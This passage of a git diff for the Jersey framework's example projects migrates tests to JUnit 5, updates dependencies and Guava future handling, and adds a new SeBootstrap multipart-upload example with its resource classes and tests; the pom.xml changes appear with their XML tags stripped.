+11,10 @@ package org.glassfish.jersey.examples.helloworld.test; import java.io.BufferedReader; -import java.io.FileReader; import java.io.IOException; import java.net.URI; +import java.nio.file.Files; +import java.nio.file.Paths; import java.security.AccessController; import java.util.ArrayList; import java.util.Arrays; @@ -227,7 +228,7 @@ private void updatePermissionsFromFile() throws IOException { try { - final BufferedReader reader = new BufferedReader(new FileReader(felixPolicy)); + final BufferedReader reader = Files.newBufferedReader(Paths.get(felixPolicy)); String line; final Set cpiNames = new HashSet(); diff --git a/examples/osgi-helloworld-webapp/lib-bundle/pom.xml b/examples/osgi-helloworld-webapp/lib-bundle/pom.xml index 6966efcef5b..e9c97ca6156 100644 --- a/examples/osgi-helloworld-webapp/lib-bundle/pom.xml +++ b/examples/osgi-helloworld-webapp/lib-bundle/pom.xml @@ -1,7 +1,7 @@ provided
    diff --git a/examples/osgi-http-service/bundle/pom.xml b/examples/osgi-http-service/bundle/pom.xml index efd62d4fa1b..eed47acc7aa 100644 --- a/examples/osgi-http-service/bundle/pom.xml +++ b/examples/osgi-http-service/bundle/pom.xml @@ -1,7 +1,7 @@ org.glassfish.jersey.examples.osgihttpservice.test.GrizzlyHttpServiceFelixTest @@ -237,9 +239,8 @@ - com.sun.activation - jakarta.activation - ${jakarta.activation.version} + org.eclipse.angus + angus-activation diff --git a/examples/osgi-http-service/pom.xml b/examples/osgi-http-service/pom.xml index 4d7a58c1abe..e560c3b1f9a 100644 --- a/examples/osgi-http-service/pom.xml +++ b/examples/osgi-http-service/pom.xml @@ -1,7 +1,7 @@ - http-patch http-trace https-clientserver-grizzly @@ -100,12 +99,14 @@ managed-client-simple-webapp multipart-webapp + micrometer open-tracing osgi-helloworld-webapp oauth-client-twitter reload + rest31-sebootstrap-multipart rx-client-webapp server-async server-async-managed @@ -199,7 +200,7 @@ org.apache.maven.plugins maven-resources-plugin - 2.6 + ${resources.mvn.plugin.version} @@ -279,4 +280,17 @@ + + + jdk17 + + [17,) + + + helloworld-spring-webapp + helloworld-spring-annotations + + + + diff --git a/examples/reload/pom.xml b/examples/reload/pom.xml index 2b35463e4a3..5b591a86dbd 100644 --- a/examples/reload/pom.xml +++ b/examples/reload/pom.xml @@ -1,7 +1,7 @@ + + + + 4.0.0 + + + org.glassfish.jersey.examples + project + 3.1.99-SNAPSHOT + + + rest31-sebootstrap-multipart + jersey-examples-multipart-webapp + jar + + Jersey SeBootstrap Multipart example. + + + + org.glassfish.jersey.media + jersey-media-multipart + + + org.glassfish.jersey.core + jersey-server + + + org.glassfish.jersey.inject + jersey-hk2 + + + jakarta.xml.bind + jakarta.xml.bind-api + + + com.sun.xml.bind + jaxb-osgi + + + org.glassfish.jersey.containers + jersey-container-jdk-http + + + org.glassfish.jersey.test-framework + jersey-test-framework-core + test + + + org.glassfish.jersey.test-framework + jersey-test-framework-util + test + + + org.junit.jupiter + junit-jupiter + test + + + org.glassfish.jersey.test-framework.providers + jersey-test-framework-provider-grizzly2 + test + + + + + + + org.codehaus.mojo + exec-maven-plugin + + org.glassfish.jersey.examples.multipart.webapp.Main + + + + + + + + pre-release + + + + org.codehaus.mojo + xml-maven-plugin + + + org.apache.maven.plugins + maven-assembly-plugin + + + + + + + diff --git a/examples/rest31-sebootstrap-multipart/src/main/java/org/glassfish/jersey/examples/multipart/webapp/Bean.java b/examples/rest31-sebootstrap-multipart/src/main/java/org/glassfish/jersey/examples/multipart/webapp/Bean.java new file mode 100644 index 00000000000..458222b5ea4 --- /dev/null +++ b/examples/rest31-sebootstrap-multipart/src/main/java/org/glassfish/jersey/examples/multipart/webapp/Bean.java @@ -0,0 +1,27 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Distribution License v. 1.0, which is available at + * http://www.eclipse.org/org/documents/edl-v10.php. + * + * SPDX-License-Identifier: BSD-3-Clause + */ + +package org.glassfish.jersey.examples.multipart.webapp; + +import jakarta.xml.bind.annotation.XmlRootElement; + +@XmlRootElement +public class Bean { + + public String value; + + public Bean() { + } + + public Bean(String str) { + value = str; + } + +} diff --git a/examples/rest31-sebootstrap-multipart/src/main/java/org/glassfish/jersey/examples/multipart/webapp/Main.java b/examples/rest31-sebootstrap-multipart/src/main/java/org/glassfish/jersey/examples/multipart/webapp/Main.java new file mode 100644 index 00000000000..5dbcfd09ea0 --- /dev/null +++ b/examples/rest31-sebootstrap-multipart/src/main/java/org/glassfish/jersey/examples/multipart/webapp/Main.java @@ -0,0 +1,37 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Distribution License v. 1.0, which is available at + * http://www.eclipse.org/org/documents/edl-v10.php. + * + * SPDX-License-Identifier: BSD-3-Clause + */ + +package org.glassfish.jersey.examples.multipart.webapp; + +import jakarta.ws.rs.SeBootstrap; + +import java.io.IOException; +import java.util.concurrent.ExecutionException; + +public class Main { + public static void main(String[] args) throws ExecutionException, InterruptedException { + final SeBootstrap.Configuration.Builder bootstrapConfigurationBuilder = SeBootstrap.Configuration.builder(); + bootstrapConfigurationBuilder.property(SeBootstrap.Configuration.PORT, 8080); + + SeBootstrap.start(new MyApplication(), bootstrapConfigurationBuilder.build()) + .whenComplete((instance1, throwable) -> { + try { + System.out.println("Press enter to exit"); + System.in.read(); + } catch (IOException e) { + throw new RuntimeException(e); + } + }).thenAccept((i) -> i.stop()) + + .toCompletableFuture().get(); + + System.out.println("Exiting..."); + } +} diff --git a/examples/rest31-sebootstrap-multipart/src/main/java/org/glassfish/jersey/examples/multipart/webapp/MultiPartResource.java b/examples/rest31-sebootstrap-multipart/src/main/java/org/glassfish/jersey/examples/multipart/webapp/MultiPartResource.java new file mode 100644 index 00000000000..dec7d0ec5da --- /dev/null +++ b/examples/rest31-sebootstrap-multipart/src/main/java/org/glassfish/jersey/examples/multipart/webapp/MultiPartResource.java @@ -0,0 +1,55 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Distribution License v. 1.0, which is available at + * http://www.eclipse.org/org/documents/edl-v10.php. + * + * SPDX-License-Identifier: BSD-3-Clause + */ + +package org.glassfish.jersey.examples.multipart.webapp; + +import jakarta.ws.rs.Consumes; +import jakarta.ws.rs.FormParam; +import jakarta.ws.rs.GET; +import jakarta.ws.rs.POST; +import jakarta.ws.rs.Path; +import jakarta.ws.rs.core.EntityPart; +import jakarta.ws.rs.core.MediaType; + +import java.io.IOException; + +@Path("/form") +public class MultiPartResource { + + @GET + @Path("test") + public String test() { + return "Test successful"; + } + + @POST + @Path("part") + @Consumes(MediaType.MULTIPART_FORM_DATA) + public String post(@FormParam("part") String s) { + return s; + } + + @POST + @Path("part-file-name") + @Consumes(MediaType.MULTIPART_FORM_DATA) + public String post(@FormParam("part")EntityPart entityPart) throws IOException { + return entityPart.getContent(String.class) + ":" + entityPart.getFileName().get(); + } + + @POST + @Path("xml-jaxb-part") + @Consumes(MediaType.MULTIPART_FORM_DATA) + public String post( + @FormParam("string") EntityPart stringEntityPart, + @FormParam("bean") EntityPart beanEntityPart) throws IOException { + return stringEntityPart.getContent(String.class) + ":" + stringEntityPart.getFileName().get() + "," + + beanEntityPart.getContent(Bean.class).value + ":" + beanEntityPart.getFileName().get(); + } +} diff --git a/examples/rest31-sebootstrap-multipart/src/main/java/org/glassfish/jersey/examples/multipart/webapp/MyApplication.java b/examples/rest31-sebootstrap-multipart/src/main/java/org/glassfish/jersey/examples/multipart/webapp/MyApplication.java new file mode 100644 index 00000000000..d9d7f30279d --- /dev/null +++ b/examples/rest31-sebootstrap-multipart/src/main/java/org/glassfish/jersey/examples/multipart/webapp/MyApplication.java @@ -0,0 +1,23 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Distribution License v. 1.0, which is available at + * http://www.eclipse.org/org/documents/edl-v10.php. + * + * SPDX-License-Identifier: BSD-3-Clause + */ + +package org.glassfish.jersey.examples.multipart.webapp; + +import jakarta.ws.rs.ApplicationPath; + +import org.glassfish.jersey.server.ResourceConfig; + +@ApplicationPath("/multipart-webapp") +public class MyApplication extends ResourceConfig { + + public MyApplication() { + super(MultiPartResource.class); + } +} diff --git a/examples/rest31-sebootstrap-multipart/src/test/java/org/glassfish/jersey/examples/multipart/webapp/MultiPartWebAppTest.java b/examples/rest31-sebootstrap-multipart/src/test/java/org/glassfish/jersey/examples/multipart/webapp/MultiPartWebAppTest.java new file mode 100644 index 00000000000..218923fcefd --- /dev/null +++ b/examples/rest31-sebootstrap-multipart/src/test/java/org/glassfish/jersey/examples/multipart/webapp/MultiPartWebAppTest.java @@ -0,0 +1,131 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Distribution License v. 1.0, which is available at + * http://www.eclipse.org/org/documents/edl-v10.php. + * + * SPDX-License-Identifier: BSD-3-Clause + */ + +package org.glassfish.jersey.examples.multipart.webapp; + +import java.io.File; +import java.io.IOException; +import java.net.URI; +import java.util.List; + +import jakarta.ws.rs.ApplicationPath; +import jakarta.ws.rs.client.Entity; +import jakarta.ws.rs.client.WebTarget; +import jakarta.ws.rs.core.Application; +import jakarta.ws.rs.core.EntityPart; +import jakarta.ws.rs.core.GenericEntity; +import jakarta.ws.rs.core.MediaType; +import jakarta.ws.rs.core.Response; +import jakarta.ws.rs.core.UriBuilder; + +import javax.xml.parsers.DocumentBuilder; +import javax.xml.parsers.DocumentBuilderFactory; +import javax.xml.xpath.XPath; +import javax.xml.xpath.XPathConstants; +import javax.xml.xpath.XPathFactory; + +import org.glassfish.jersey.client.ClientConfig; +import org.glassfish.jersey.internal.util.SaxHelper; +import org.glassfish.jersey.internal.util.SimpleNamespaceResolver; +import org.glassfish.jersey.test.JerseyTest; + +import org.junit.jupiter.api.Test; +import org.w3c.dom.Document; + +import static org.junit.jupiter.api.Assertions.assertEquals; + +/** + * Tests for {@code MultipartResource} class. + * + * @author Naresh (Srinivas Bhimisetty) + * @author Michal Gajdos + */ +public class MultiPartWebAppTest extends JerseyTest { + + public static final String PATH = MyApplication.class.getAnnotation(ApplicationPath.class).value(); + + @Override + protected URI getBaseUri() { + return UriBuilder.fromUri(super.getBaseUri()).path(PATH).build(); + } + + @Override + protected Application configure() { + return new MyApplication(); + } + + @Test + public void testApplicationWadl() throws Exception { + final WebTarget target = target().path(PATH + "/application.wadl"); + + final Response response = target.request().get(); + assertEquals(200, response.getStatus()); + final File tmpFile = response.readEntity(File.class); + + final DocumentBuilderFactory bf = DocumentBuilderFactory.newInstance(); + bf.setNamespaceAware(true); + bf.setValidating(false); + + if (!SaxHelper.isXdkDocumentBuilderFactory(bf)) { + bf.setXIncludeAware(false); + } + + final DocumentBuilder b = bf.newDocumentBuilder(); + final Document d = b.parse(tmpFile); + + final XPath xp = XPathFactory.newInstance().newXPath(); + xp.setNamespaceContext(new SimpleNamespaceResolver("wadl", "http://wadl.dev.java.net/2009/02")); + String val = (String) xp.evaluate( + "//wadl:resource[@path='part']/wadl:method[@name='POST']/wadl:request/wadl:representation/@mediaType", + d, XPathConstants.STRING); + + assertEquals("multipart/form-data", val); + } + + @Test + public void testPart() throws IOException { + final WebTarget target = target().path(PATH + "/form/part"); + + final EntityPart entityPart = EntityPart.withName("part").content("CONTENT", String.class).build(); + final GenericEntity> genericEntity = new GenericEntity<>(List.of(entityPart)) {}; + + final String s = target.request().post(Entity.entity(genericEntity, MediaType.MULTIPART_FORM_DATA_TYPE), String.class); + assertEquals("CONTENT", s); + } + + @Test + public void testPartWithFileName() throws IOException { + final WebTarget target = target().path(PATH + "/form/part-file-name"); + + final EntityPart entityPart = EntityPart.withName("part").fileName("file").content("CONTENT", String.class).build(); + final GenericEntity> genericEntity = new GenericEntity<>(List.of(entityPart)) {}; + + final String s = target.request().post(Entity.entity(genericEntity, MediaType.MULTIPART_FORM_DATA_TYPE), String.class); + assertEquals("CONTENT:file", s); + } + + @Test + public void testXmlJAXBPart() throws IOException { + final WebTarget target = target().path(PATH + "/form/xml-jaxb-part"); + + final EntityPart entityPart1 = EntityPart.withName("bean").fileName("bean") + .content(new Bean("BEAN"), Bean.class) + .mediaType(MediaType.APPLICATION_XML_TYPE) + .build(); + final EntityPart entityPart2 = EntityPart.withName("string").fileName("string") + .content("STRING", String.class) + .build(); + + final GenericEntity> genericEntity = new GenericEntity<>(List.of(entityPart1, entityPart2)) {}; + + final String s = target.request().post(Entity.entity(genericEntity, MediaType.MULTIPART_FORM_DATA_TYPE), String.class); + assertEquals("STRING:string,BEAN:bean", s); + } +} diff --git a/examples/rx-client-webapp/pom.xml b/examples/rx-client-webapp/pom.xml index 61a1db54f16..9f5acfbacec 100644 --- a/examples/rx-client-webapp/pom.xml +++ b/examples/rx-client-webapp/pom.xml @@ -1,7 +1,7 @@ - org.eclipse.jetty - jetty-maven-plugin + org.eclipse.jetty.ee10 + jetty-ee10-maven-plugin
    diff --git a/examples/rx-client-webapp/src/main/java/org/glassfish/jersey/examples/rx/agent/ListenableFutureAgentResource.java b/examples/rx-client-webapp/src/main/java/org/glassfish/jersey/examples/rx/agent/ListenableFutureAgentResource.java index aebcc70d104..4a18b920931 100644 --- a/examples/rx-client-webapp/src/main/java/org/glassfish/jersey/examples/rx/agent/ListenableFutureAgentResource.java +++ b/examples/rx-client-webapp/src/main/java/org/glassfish/jersey/examples/rx/agent/ListenableFutureAgentResource.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2014, 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2014, 2022 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Distribution License v. 1.0, which is available at @@ -12,6 +12,8 @@ import java.util.Arrays; import java.util.List; +import java.util.concurrent.Executors; +import java.util.stream.Collectors; import jakarta.ws.rs.GET; import jakarta.ws.rs.Path; @@ -31,8 +33,6 @@ import org.glassfish.jersey.server.ManagedAsync; import org.glassfish.jersey.server.Uri; -import com.google.common.collect.Lists; -import com.google.common.util.concurrent.AsyncFunction; import com.google.common.util.concurrent.FutureCallback; import com.google.common.util.concurrent.Futures; import com.google.common.util.concurrent.ListenableFuture; @@ -80,7 +80,7 @@ public void onSuccess(final List result) { public void onFailure(final Throwable t) { async.resume(t); } - }); + }, Executors.newSingleThreadExecutor()); } private ListenableFuture visited(final AgentResponse response) { @@ -97,11 +97,11 @@ private ListenableFuture visited(final AgentResponse response) { }); // ... and set them to the final response. - return Futures.transform(visited, (AsyncFunction, AgentResponse>) destinations -> { + return Futures.transform(visited, destinations -> { response.setVisited(destinations); - return Futures.immediateFuture(response); - }); + return response; + }, Executors.newSingleThreadExecutor()); } private ListenableFuture recommended(final AgentResponse response) { @@ -120,15 +120,14 @@ private ListenableFuture recommended(final AgentResponse response // ... transform them to Recommendation instances ... final ListenableFuture> recommendations = Futures.transform( - destinations, - (AsyncFunction, List>) destinationList -> { + destinations, destinationList -> { // Create new array list to avoid multiple remote calls. - final List recommendationList = Lists.newArrayList(Lists.transform( - destinationList, - destination -> new Recommendation(destination.getDestination(), null, 0))); + final List recommendationList = destinationList.stream().map( + destination -> new Recommendation(destination.getDestination(), null, 0)) + .collect(Collectors.toList()); - return Futures.immediateFuture(recommendationList); - }); + return recommendationList; + }, Executors.newSingleThreadExecutor()); // ... add forecasts and calculations ... final ListenableFuture>> filledRecommendations = Futures @@ -140,47 +139,51 @@ private ListenableFuture recommended(final AgentResponse response // ... and transform the list into agent response with filled recommendations. return Futures - .transform(filledRecommendations, (AsyncFunction>, AgentResponse>) input -> { + .transform(filledRecommendations, input -> { response.setRecommended(input.get(0)); - return Futures.immediateFuture(response); - }); + return response; + }, Executors.newSingleThreadExecutor()); } private ListenableFuture> forecasts(final ListenableFuture> recommendations) { forecast.register(RxListenableFutureInvokerProvider.class); // Fill the list with weather forecast. - return Futures.transform(recommendations, (AsyncFunction, List>) list -> + return Futures.transform(recommendations, list -> // For each recommendation ... - Futures.successfulAsList(Lists.transform(list, recommendation -> Futures.transform( + (List) Futures.successfulAsList(list.stream().map(recommendation -> Futures.transform( // ... get the weather forecast ... forecast.resolveTemplate("destination", recommendation.getDestination()).request() .rx(RxListenableFutureInvoker.class) .get(Forecast.class), // ... and set it to the recommendation. - (AsyncFunction) forecast -> { + forecast -> { recommendation.setForecast(forecast.getForecast()); - return Futures.immediateFuture(recommendation); - })))); + return recommendation; + }, + Executors.newSingleThreadExecutor())).collect(Collectors.toList())), + Executors.newSingleThreadExecutor()); } private ListenableFuture> calculations(final ListenableFuture> recommendations) { calculation.register(RxListenableFutureInvokerProvider.class); // Fill the list with price calculations. - return Futures.transform(recommendations, (AsyncFunction, List>) list -> + return Futures.transform(recommendations, list -> // For each recommendation ... - Futures.successfulAsList(Lists.transform(list, recommendation -> Futures.transform( + (List) Futures.successfulAsList(list.stream().map(recommendation -> Futures.transform( // ... get the price calculation ... calculation.resolveTemplate("from", "Moon") .resolveTemplate("to", recommendation.getDestination()) .request().rx(RxListenableFutureInvoker.class).get(Calculation.class), // ... and set it to the recommendation. - (AsyncFunction) calculation -> { + calculation -> { recommendation.setPrice(calculation.getPrice()); - return Futures.immediateFuture(recommendation); - }))) + return recommendation; + }, + Executors.newSingleThreadExecutor())).collect(Collectors.toList())), + Executors.newSingleThreadExecutor() ); } } diff --git a/examples/rx-client-webapp/src/test/java/org/glassfish/jersey/examples/rx/RxClientsTest.java b/examples/rx-client-webapp/src/test/java/org/glassfish/jersey/examples/rx/RxClientsTest.java index 249f10ff500..06c775d818b 100644 --- a/examples/rx-client-webapp/src/test/java/org/glassfish/jersey/examples/rx/RxClientsTest.java +++ b/examples/rx-client-webapp/src/test/java/org/glassfish/jersey/examples/rx/RxClientsTest.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2014, 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2014, 2022 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Distribution License v. 1.0, which is available at @@ -17,7 +17,7 @@ import org.glassfish.jersey.test.JerseyTest; import org.glassfish.jersey.test.ServletDeploymentContext; -import org.junit.Test; +import org.junit.jupiter.api.Test; import static org.hamcrest.CoreMatchers.is; import static org.hamcrest.MatcherAssert.assertThat; diff --git a/examples/server-async-managed/pom.xml b/examples/server-async-managed/pom.xml index 229c32c68c4..96ae7b68542 100644 --- a/examples/server-async-managed/pom.xml +++ b/examples/server-async-managed/pom.xml @@ -1,7 +1,7 @@ - org.eclipse.jetty - jetty-maven-plugin + org.eclipse.jetty.ee10 + jetty-ee10-maven-plugin diff --git a/examples/servlet3-webapp/src/test/java/org/glassfish/jersey/examples/servlet3/webapp/Servlet3WebappTestCase.java b/examples/servlet3-webapp/src/test/java/org/glassfish/jersey/examples/servlet3/webapp/Servlet3WebappTestCase.java index a89f9510d40..8412cb5aafb 100644 --- a/examples/servlet3-webapp/src/test/java/org/glassfish/jersey/examples/servlet3/webapp/Servlet3WebappTestCase.java +++ b/examples/servlet3-webapp/src/test/java/org/glassfish/jersey/examples/servlet3/webapp/Servlet3WebappTestCase.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2013, 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2013, 2022 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Distribution License v. 1.0, which is available at @@ -12,18 +12,13 @@ import org.glassfish.jersey.test.JerseyTest; import org.glassfish.jersey.test.TestProperties; -import org.glassfish.jersey.test.external.ExternalTestContainerFactory; -import org.glassfish.jersey.test.spi.TestContainerException; -import org.glassfish.jersey.test.spi.TestContainerFactory; -import org.junit.Test; +import org.junit.jupiter.api.Test; import jakarta.ws.rs.core.Application; -import jakarta.ws.rs.core.UriBuilder; -import java.net.URI; -import static org.junit.Assert.assertEquals; +import static org.junit.jupiter.api.Assertions.assertEquals; /** * Tests the servlet3-webapp example. diff --git a/examples/simple-console/pom.xml b/examples/simple-console/pom.xml index 0b2e73d0bb7..f2bb0471e66 100644 --- a/examples/simple-console/pom.xml +++ b/examples/simple-console/pom.xml @@ -1,7 +1,7 @@ - - org.eclipse.jetty - jetty-maven-plugin + org.eclipse.jetty.ee10 + jetty-ee10-maven-plugin 10 9999 diff --git a/examples/sse-item-store-jaxrs-webapp/src/test/java/org/glassfish/jersey/examples/sseitemstore/jaxrs/JaxrsItemStoreResourceTest.java b/examples/sse-item-store-jaxrs-webapp/src/test/java/org/glassfish/jersey/examples/sseitemstore/jaxrs/JaxrsItemStoreResourceTest.java index cdabad0c40b..f67cc6566c1 100644 --- a/examples/sse-item-store-jaxrs-webapp/src/test/java/org/glassfish/jersey/examples/sseitemstore/jaxrs/JaxrsItemStoreResourceTest.java +++ b/examples/sse-item-store-jaxrs-webapp/src/test/java/org/glassfish/jersey/examples/sseitemstore/jaxrs/JaxrsItemStoreResourceTest.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2017, 2021 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2017, 2022 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Distribution License v. 1.0, which is available at @@ -45,15 +45,16 @@ import org.glassfish.jersey.test.external.ExternalTestContainerFactory; import org.apache.http.impl.conn.PoolingHttpClientConnectionManager; -import org.junit.Test; +import org.junit.jupiter.api.AfterEach; +import org.junit.jupiter.api.Test; import static org.hamcrest.CoreMatchers.containsString; import static org.hamcrest.CoreMatchers.describedAs; import static org.hamcrest.CoreMatchers.equalTo; import static org.hamcrest.CoreMatchers.hasItems; -import static org.junit.Assert.assertEquals; -import static org.junit.Assert.assertThat; -import static org.junit.Assert.assertTrue; +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.hamcrest.MatcherAssert.assertThat; +import static org.junit.jupiter.api.Assertions.assertTrue; /** * Item store test. @@ -103,6 +104,7 @@ protected Client getClient() { return client.get(); } + @AfterEach @Override public void tearDown() throws Exception { super.tearDown(); @@ -161,9 +163,8 @@ public void testItemsStore() throws Exception { open(sources); items.forEach((item) -> postItem(itemsTarget, item)); - assertTrue("Waiting to receive all events has timed out.", - latch.await((1000 + MAX_LISTENERS * RECONNECT_DEFAULT) * getAsyncTimeoutMultiplier(), - TimeUnit.MILLISECONDS)); + assertTrue(latch.await((1000 + MAX_LISTENERS * RECONNECT_DEFAULT) * getAsyncTimeoutMultiplier(), + TimeUnit.MILLISECONDS), "Waiting to receive all events has timed out."); // need to force disconnect on server in order for EventSource.close(...) to succeed with HttpUrlConnection sendCommand(itemsTarget, "disconnect"); @@ -172,18 +173,18 @@ public void testItemsStore() throws Exception { } String postedItems = itemsTarget.request().get(String.class); - items.forEach((item) -> assertTrue("Item '" + item + "' not stored on server.", postedItems.contains(item))); + items.forEach((item) -> assertTrue(postedItems.contains(item), "Item '" + item + "' not stored on server.")); final AtomicInteger queueId = new AtomicInteger(0); indexQueues.forEach((indexes) -> { for (int i = 0; i < items.size(); i++) { - assertTrue("Event for '" + items.get(i) + "' not received in queue " + queueId.get(), indexes.contains(i)); + assertTrue(indexes.contains(i), "Event for '" + items.get(i) + "' not received in queue " + queueId.get()); } - assertEquals("Not received the expected number of events in queue " + queueId.get(), items.size(), indexes.size()); + assertEquals(items.size(), indexes.size(), "Not received the expected number of events in queue " + queueId.get()); queueId.incrementAndGet(); }); - assertEquals("Number of received 'size' events does not match.", items.size() * MAX_LISTENERS, sizeEventsCount.get()); + assertEquals(items.size() * MAX_LISTENERS, sizeEventsCount.get(), "Number of received 'size' events does not match."); } /** @@ -248,9 +249,8 @@ public void testEventSourceReconnect() throws Exception { sendCommand(itemsTarget, "reconnect now"); - assertTrue("Waiting to receive all events has timed out.", - latch.await((1 + MAX_LISTENERS * (MAX_ITEMS + 1) * reconnectDelay) * getAsyncTimeoutMultiplier(), - TimeUnit.SECONDS)); + assertTrue(latch.await((1 + MAX_LISTENERS * (MAX_ITEMS + 1) * reconnectDelay) * getAsyncTimeoutMultiplier(), + TimeUnit.SECONDS), "Waiting to receive all events has timed out."); // need to force disconnect on server in order for EventSource.close(...) to succeed with HttpUrlConnection sendCommand(itemsTarget, "disconnect"); @@ -274,7 +274,7 @@ public void testEventSourceReconnect() throws Exception { private static void postItem(final WebTarget itemsTarget, final String item) { final Response response = itemsTarget.request().post(Entity.form(new Form("name", item))); - assertEquals("Posting new item has failed.", 204, response.getStatus()); + assertEquals(204, response.getStatus(), "Posting new item has failed."); LOGGER.info("[-i-] POSTed item: '" + item + "'"); } @@ -286,7 +286,7 @@ private static void close(final SseEventSource[] sources) { int i = 0; for (SseEventSource source : sources) { if (source.isOpen()) { - assertTrue("Waiting to close a source has timed out.", source.close(1, TimeUnit.SECONDS)); + assertTrue(source.close(1, TimeUnit.SECONDS), "Waiting to close a source has timed out."); // source.close(100, TimeUnit.MILLISECONDS); LOGGER.info("[<--] SOURCE " + i++ + " closed."); } @@ -295,7 +295,7 @@ private static void close(final SseEventSource[] sources) { private static void sendCommand(final WebTarget itemsTarget, final String command) { final Response response = itemsTarget.path("commands").request().post(Entity.text(command)); - assertEquals("'" + command + "' command has failed.", 200, response.getStatus()); + assertEquals(200, response.getStatus(), "'" + command + "' command has failed."); LOGGER.info("[-!-] COMMAND '" + command + "' has been processed."); } } diff --git a/examples/sse-item-store-jersey-webapp/pom.xml b/examples/sse-item-store-jersey-webapp/pom.xml index d7e47e29329..e9727b20cfb 100644 --- a/examples/sse-item-store-jersey-webapp/pom.xml +++ b/examples/sse-item-store-jersey-webapp/pom.xml @@ -1,7 +1,7 @@ - - org.eclipse.jetty - jetty-maven-plugin + org.eclipse.jetty.ee10 + jetty-ee10-maven-plugin 10 9999 diff --git a/examples/sse-item-store-jersey-webapp/src/test/java/org/glassfish/jersey/examples/sseitemstore/jersey/JerseyItemStoreResourceTest.java b/examples/sse-item-store-jersey-webapp/src/test/java/org/glassfish/jersey/examples/sseitemstore/jersey/JerseyItemStoreResourceTest.java index f59b43818f0..f29123ae780 100644 --- a/examples/sse-item-store-jersey-webapp/src/test/java/org/glassfish/jersey/examples/sseitemstore/jersey/JerseyItemStoreResourceTest.java +++ b/examples/sse-item-store-jersey-webapp/src/test/java/org/glassfish/jersey/examples/sseitemstore/jersey/JerseyItemStoreResourceTest.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2013, 2021 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2013, 2022 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Distribution License v. 1.0, which is available at @@ -40,16 +40,15 @@ import org.glassfish.jersey.test.external.ExternalTestContainerFactory; import org.apache.http.impl.conn.PoolingHttpClientConnectionManager; -import org.junit.Ignore; -import org.junit.Test; +import org.junit.jupiter.api.Test; import static org.hamcrest.CoreMatchers.containsString; import static org.hamcrest.CoreMatchers.describedAs; import static org.hamcrest.CoreMatchers.equalTo; import static org.hamcrest.CoreMatchers.hasItems; -import static org.junit.Assert.assertEquals; -import static org.junit.Assert.assertThat; -import static org.junit.Assert.assertTrue; +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.hamcrest.MatcherAssert.assertThat; +import static org.junit.jupiter.api.Assertions.assertTrue; /** * Item store test. @@ -141,9 +140,8 @@ public void testItemsStore() throws Exception { postItem(itemsTarget, item); } - assertTrue("Waiting to receive all events has timed out.", - latch.await((1000 + MAX_LISTENERS * EventSource.RECONNECT_DEFAULT) * getAsyncTimeoutMultiplier(), - TimeUnit.MILLISECONDS)); + assertTrue(latch.await((1000 + MAX_LISTENERS * EventSource.RECONNECT_DEFAULT) * getAsyncTimeoutMultiplier(), + TimeUnit.MILLISECONDS), "Waiting to receive all events has timed out."); // need to force disconnect on server in order for EventSource.close(...) to succeed with HttpUrlConnection sendCommand(itemsTarget, "disconnect"); @@ -153,19 +151,19 @@ public void testItemsStore() throws Exception { String postedItems = itemsTarget.request().get(String.class); for (String item : items) { - assertTrue("Item '" + item + "' not stored on server.", postedItems.contains(item)); + assertTrue(postedItems.contains(item), "Item '" + item + "' not stored on server."); } int queueId = 0; for (Queue indexes : indexQueues) { for (int i = 0; i < items.size(); i++) { - assertTrue("Event for '" + items.get(i) + "' not received in queue " + queueId, indexes.contains(i)); + assertTrue(indexes.contains(i), "Event for '" + items.get(i) + "' not received in queue " + queueId); } - assertEquals("Not received the expected number of events in queue " + queueId, items.size(), indexes.size()); + assertEquals(items.size(), indexes.size(), "Not received the expected number of events in queue " + queueId); queueId++; } - assertEquals("Number of received 'size' events does not match.", items.size() * MAX_LISTENERS, sizeEventsCount.get()); + assertEquals(items.size() * MAX_LISTENERS, sizeEventsCount.get(), "Number of received 'size' events does not match."); } /** @@ -229,9 +227,8 @@ public void testEventSourceReconnect() throws Exception { sendCommand(itemsTarget, "reconnect now"); - assertTrue("Waiting to receive all events has timed out.", - latch.await((1 + MAX_LISTENERS * (MAX_ITEMS + 1) * reconnectDelay) * getAsyncTimeoutMultiplier(), - TimeUnit.SECONDS)); + assertTrue(latch.await((1 + MAX_LISTENERS * (MAX_ITEMS + 1) * reconnectDelay) * getAsyncTimeoutMultiplier(), + TimeUnit.SECONDS), "Waiting to receive all events has timed out."); // need to force disconnect on server in order for EventSource.close(...) to succeed with HttpUrlConnection sendCommand(itemsTarget, "disconnect"); @@ -255,7 +252,7 @@ public void testEventSourceReconnect() throws Exception { private static void postItem(final WebTarget itemsTarget, final String item) { final Response response = itemsTarget.request().post(Entity.form(new Form("name", item))); - assertEquals("Posting new item has failed.", 204, response.getStatus()); + assertEquals(204, response.getStatus(), "Posting new item has failed."); 